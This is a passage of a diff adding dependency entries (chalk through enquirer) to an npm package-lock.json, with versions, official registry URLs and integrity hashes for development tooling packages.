+ "assertion-error": "^1.1.0",
+ "check-error": "^1.0.2",
+ "deep-eql": "^3.0.1",
+ "get-func-name": "^2.0.0",
+ "pathval": "^1.1.1",
+ "type-detect": "^4.0.5"
+ }
+ },
+ "chalk": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "check-error": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz",
+ "integrity": "sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA==",
+ "dev": true
+ },
+ "chokidar": {
+ "version": "2.1.8",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
+ "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
+ "dev": true,
+ "requires": {
+ "anymatch": "^2.0.0",
+ "async-each": "^1.0.1",
+ "braces": "^2.3.2",
+ "fsevents": "^1.2.7",
+ "glob-parent": "^3.1.0",
+ "inherits": "^2.0.3",
+ "is-binary-path": "^1.0.0",
+ "is-glob": "^4.0.0",
+ "normalize-path": "^3.0.0",
+ "path-is-absolute": "^1.0.0",
+ "readdirp": "^2.2.1",
+ "upath": "^1.1.1"
+ },
+ "dependencies": {
+ "glob-parent": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
+ "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^3.1.0",
+ "path-dirname": "^1.0.0"
+ },
+ "dependencies": {
+ "is-glob": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+ "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+ "dev": true,
+ "requires": {
+ "is-extglob": "^2.1.0"
+ }
+ }
+ }
+ }
+ }
+ },
+ "chrome-trace-event": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
+ "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==",
+ "dev": true,
+ "peer": true
+ },
+ "class-utils": {
+ "version": "0.3.6",
+ "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
+ "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
+ "dev": true,
+ "requires": {
+ "arr-union": "^3.1.0",
+ "define-property": "^0.2.5",
+ "isobject": "^3.0.0",
+ "static-extend": "^0.1.1"
+ }
+ },
+ "clean-css": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz",
+ "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==",
+ "dev": true,
+ "requires": {
+ "source-map": "~0.6.0"
+ }
+ },
+ "clean-stack": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
+ "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
+ "dev": true
+ },
+ "cli-spinner": {
+ "version": "0.2.10",
+ "resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz",
+ "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==",
+ "dev": true
+ },
+ "cliui": {
+ "version": "7.0.4",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
+ "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+ "dev": true,
+ "requires": {
+ "string-width": "^4.2.0",
+ "strip-ansi": "^6.0.0",
+ "wrap-ansi": "^7.0.0"
+ }
+ },
+ "clone": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz",
+ "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==",
+ "dev": true
+ },
+ "clone-buffer": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/clone-buffer/-/clone-buffer-1.0.0.tgz",
+ "integrity": "sha512-KLLTJWrvwIP+OPfMn0x2PheDEP20RPUcGXj/ERegTgdmPEZylALQldygiqrPPu8P45uNuPs7ckmReLY6v/iA5g==",
+ "dev": true
+ },
+ "clone-deep": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz",
+ "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4",
+ "kind-of": "^6.0.2",
+ "shallow-clone": "^3.0.0"
+ }
+ },
+ "clone-stats": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz",
+ "integrity": "sha512-au6ydSpg6nsrigcZ4m8Bc9hxjeW+GJ8xh5G3BJCMt4WXe1H10UNaVOamqQTmrx1kjVuxAHIQSNU6hY4Nsn9/ag==",
+ "dev": true
+ },
+ "cloneable-readable": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/cloneable-readable/-/cloneable-readable-1.1.3.tgz",
+ "integrity": "sha512-2EF8zTQOxYq70Y4XKtorQupqF0m49MBz2/yf5Bj+MHjvpG3Hy7sImifnqD6UA+TKYxeSV+u6qqQPawN5UvnpKQ==",
+ "dev": true,
+ "requires": {
+ "inherits": "^2.0.1",
+ "process-nextick-args": "^2.0.0",
+ "readable-stream": "^2.3.5"
+ }
+ },
+ "code-point-at": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
+ "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==",
+ "dev": true
+ },
+ "collection-map": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/collection-map/-/collection-map-1.0.0.tgz",
+ "integrity": "sha512-5D2XXSpkOnleOI21TG7p3T0bGAsZ/XknZpKBmGYyluO8pw4zA3K8ZlrBIbC4FXg3m6z/RNFiUFfT2sQK01+UHA==",
+ "dev": true,
+ "requires": {
+ "arr-map": "^2.0.2",
+ "for-own": "^1.0.0",
+ "make-iterator": "^1.0.0"
+ }
+ },
+ "collection-visit": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
+ "integrity": "sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==",
+ "dev": true,
+ "requires": {
+ "map-visit": "^1.0.0",
+ "object-visit": "^1.0.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "color-support": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
+ "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==",
+ "dev": true
+ },
+ "combined-stream": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+ "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+ "dev": true,
+ "requires": {
+ "delayed-stream": "~1.0.0"
+ }
+ },
+ "commander": {
+ "version": "8.2.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-8.2.0.tgz",
+ "integrity": "sha512-LLKxDvHeL91/8MIyTAD5BFMNtoIwztGPMiM/7Bl8rIPmHCZXRxmSWr91h57dpOpnQ6jIUqEWdXE/uBYMfiVZDA==",
+ "dev": true
+ },
+ "commondir": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
+ "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==",
+ "dev": true
+ },
+ "component-emitter": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
+ "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==",
+ "dev": true
+ },
+ "concat-map": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
+ "dev": true
+ },
+ "concat-stream": {
+ "version": "1.6.2",
+ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
+ "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
+ "dev": true,
+ "requires": {
+ "buffer-from": "^1.0.0",
+ "inherits": "^2.0.3",
+ "readable-stream": "^2.2.2",
+ "typedarray": "^0.0.6"
+ }
+ },
+ "concat-with-sourcemaps": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/concat-with-sourcemaps/-/concat-with-sourcemaps-1.1.0.tgz",
+ "integrity": "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==",
+ "dev": true,
+ "requires": {
+ "source-map": "^0.6.1"
+ }
+ },
+ "convert-source-map": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
+ "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
+ "dev": true
+ },
+ "copy-descriptor": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
+ "integrity": "sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==",
+ "dev": true
+ },
+ "copy-props": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/copy-props/-/copy-props-2.0.5.tgz",
+ "integrity": "sha512-XBlx8HSqrT0ObQwmSzM7WE5k8FxTV75h1DX1Z3n6NhQ/UYYAvInWYmG06vFt7hQZArE2fuO62aihiWIVQwh1sw==",
+ "dev": true,
+ "requires": {
+ "each-props": "^1.3.2",
+ "is-plain-object": "^5.0.0"
+ },
+ "dependencies": {
+ "is-plain-object": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+ "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
+ "dev": true
+ }
+ }
+ },
+ "core-js-compat": {
+ "version": "3.31.1",
+ "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.31.1.tgz",
+ "integrity": "sha512-wIDWd2s5/5aJSdpOJHfSibxNODxoGoWOBHt8JSPB41NOE94M7kuTPZCYLOlTtuoXTsBPKobpJ6T+y0SSy5L9SA==",
+ "dev": true,
+ "requires": {
+ "browserslist": "^4.21.9"
+ }
+ },
+ "core-util-is": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
+ "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
+ "dev": true
+ },
+ "cross-spawn": {
+ "version": "7.0.3",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
+ "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+ "dev": true,
+ "requires": {
+ "path-key": "^3.1.0",
+ "shebang-command": "^2.0.0",
+ "which": "^2.0.1"
+ }
+ },
+ "cssesc": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+ "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+ "dev": true
+ },
+ "cssom": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz",
+ "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==",
+ "dev": true
+ },
+ "cssstyle": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
+ "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
+ "dev": true,
+ "requires": {
+ "cssom": "~0.3.6"
+ },
+ "dependencies": {
+ "cssom": {
+ "version": "0.3.8",
+ "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
+ "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==",
+ "dev": true
+ }
+ }
+ },
+ "d": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz",
+ "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==",
+ "dev": true,
+ "requires": {
+ "es5-ext": "^0.10.50",
+ "type": "^1.0.1"
+ }
+ },
+ "data-urls": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz",
+ "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==",
+ "dev": true,
+ "requires": {
+ "abab": "^2.0.6",
+ "whatwg-mimetype": "^3.0.0",
+ "whatwg-url": "^11.0.0"
+ },
+ "dependencies": {
+ "whatwg-url": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz",
+ "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==",
+ "dev": true,
+ "requires": {
+ "tr46": "^3.0.0",
+ "webidl-conversions": "^7.0.0"
+ }
+ }
+ }
+ },
+ "debug": {
+ "version": "4.3.4",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "decamelize": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
+ "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==",
+ "dev": true
+ },
+ "decimal.js": {
+ "version": "10.4.3",
+ "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz",
+ "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==",
+ "dev": true
+ },
+ "decode-uri-component": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz",
+ "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==",
+ "dev": true
+ },
+ "deep-eql": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz",
+ "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==",
+ "dev": true,
+ "requires": {
+ "type-detect": "^4.0.0"
+ }
+ },
+ "deep-is": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
+ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",
+ "dev": true
+ },
+ "default-compare": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/default-compare/-/default-compare-1.0.0.tgz",
+ "integrity": "sha512-QWfXlM0EkAbqOCbD/6HjdwT19j7WCkMyiRhWilc4H9/5h/RzTF9gv5LYh1+CmDV5d1rki6KAWLtQale0xt20eQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^5.0.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+ "dev": true
+ }
+ }
+ },
+ "default-require-extensions": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/default-require-extensions/-/default-require-extensions-3.0.1.tgz",
+ "integrity": "sha512-eXTJmRbm2TIt9MgWTsOH1wEuhew6XGZcMeGKCtLedIg/NCsg1iBePXkceTdK4Fii7pzmN9tGsZhKzZ4h7O/fxw==",
+ "dev": true,
+ "requires": {
+ "strip-bom": "^4.0.0"
+ }
+ },
+ "default-resolution": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/default-resolution/-/default-resolution-2.0.0.tgz",
+ "integrity": "sha512-2xaP6GiwVwOEbXCGoJ4ufgC76m8cj805jrghScewJC2ZDsb9U0b4BIrba+xt/Uytyd0HvQ6+WymSRTfnYj59GQ==",
+ "dev": true
+ },
+ "define-properties": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz",
+ "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==",
+ "dev": true,
+ "requires": {
+ "has-property-descriptors": "^1.0.0",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "define-property": {
+ "version": "0.2.5",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+ "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^0.1.0"
+ }
+ },
+ "del": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz",
+ "integrity": "sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==",
+ "dev": true,
+ "requires": {
+ "globby": "^11.0.1",
+ "graceful-fs": "^4.2.4",
+ "is-glob": "^4.0.1",
+ "is-path-cwd": "^2.2.0",
+ "is-path-inside": "^3.0.2",
+ "p-map": "^4.0.0",
+ "rimraf": "^3.0.2",
+ "slash": "^3.0.0"
+ }
+ },
+ "delayed-stream": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+ "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+ "dev": true
+ },
+ "dependency-graph": {
+ "version": "0.11.0",
+ "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz",
+ "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==",
+ "dev": true
+ },
+ "detect-file": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz",
+ "integrity": "sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==",
+ "dev": true
+ },
+ "didyoumean": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+ "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==",
+ "dev": true
+ },
+ "diff": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz",
+ "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==",
+ "dev": true
+ },
+ "dir-glob": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+ "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+ "dev": true,
+ "requires": {
+ "path-type": "^4.0.0"
+ }
+ },
+ "dlv": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+ "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
+ "dev": true
+ },
+ "doctrine": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+ "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+ "dev": true,
+ "requires": {
+ "esutils": "^2.0.2"
+ }
+ },
+ "domexception": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz",
+ "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==",
+ "dev": true,
+ "requires": {
+ "webidl-conversions": "^7.0.0"
+ }
+ },
+ "duplexer": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
+ "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==",
+ "dev": true
+ },
+ "duplexify": {
+ "version": "3.7.1",
+ "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
+ "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==",
+ "dev": true,
+ "requires": {
+ "end-of-stream": "^1.0.0",
+ "inherits": "^2.0.1",
+ "readable-stream": "^2.0.0",
+ "stream-shift": "^1.0.0"
+ }
+ },
+ "each-props": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/each-props/-/each-props-1.3.2.tgz",
+ "integrity": "sha512-vV0Hem3zAGkJAyU7JSjixeU66rwdynTAa1vofCrSA5fEln+m67Az9CcnkVD776/fsN/UjIWmBDoNRS6t6G9RfA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.1",
+ "object.defaults": "^1.1.0"
+ }
+ },
+ "electron-to-chromium": {
+ "version": "1.4.466",
+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.466.tgz",
+ "integrity": "sha512-TSkRvbXRXD8BwhcGlZXDsbI2lRoP8dvqR7LQnqQNk9KxXBc4tG8O+rTuXgTyIpEdiqSGKEBSqrxdqEntnjNncA==",
+ "dev": true
+ },
+ "emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true
+ },
+ "end-of-stream": {
+ "version": "1.4.4",
+ "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
+ "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+ "dev": true,
+ "requires": {
+ "once": "^1.4.0"
+ }
+ },
+ "enhanced-resolve": {
+ "version": "5.15.0",
+ "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz",
+ "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "graceful-fs": "^4.2.4",
+ "tapable": "^2.2.0"
+ }
+ },
+ "enquirer": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz",
